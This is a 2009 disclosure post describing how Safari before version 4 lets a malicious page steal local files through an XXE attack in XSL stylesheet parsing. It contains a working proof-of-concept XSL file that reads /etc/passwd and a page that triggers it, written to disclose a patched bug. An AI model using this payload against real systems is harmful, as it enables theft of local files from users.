safari-filetheft.txt
Posted on 09 June 2009
Hi, Safari prior to version 4 may permit an evil web page to steal files from the local system. This is accomplished by mounting an XXE attack against the parsing of the XSL XML. This is best explained with a sample evil XSL file which includes a DTD that attempts the XXE attack: <!DOCTYPE doc [ <!ENTITY ent SYSTEM "file:///etc/passwd"> ] > <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"> <xsl:template match="/"> <html> <body> Below you should see the content of a local file, stolen by this evil web page. <p/> &ent; <script> alert(document.body.innerHTML); </script> </body> </html> </xsl:template> </xsl:stylesheet> To mount the attack, the attacker would serve a web page which has XML MIME type and requests to be styled by the evil stylesheet: <?xml version="1.0" encoding="ISO-8859-1"?> <?xml-stylesheet type="text/xsl" href="safaristealfilebug.xsl"?> <xml> irrelevant </xml> Full technical details: http://scary.beasts.org/security/CESA-2009-006.html Blog post: http://scarybeastsecurity.blogspot.com/2009/06/apples-safari-4-fixes-local-file-theft.html (includes 1-click demos) Cheers Chris
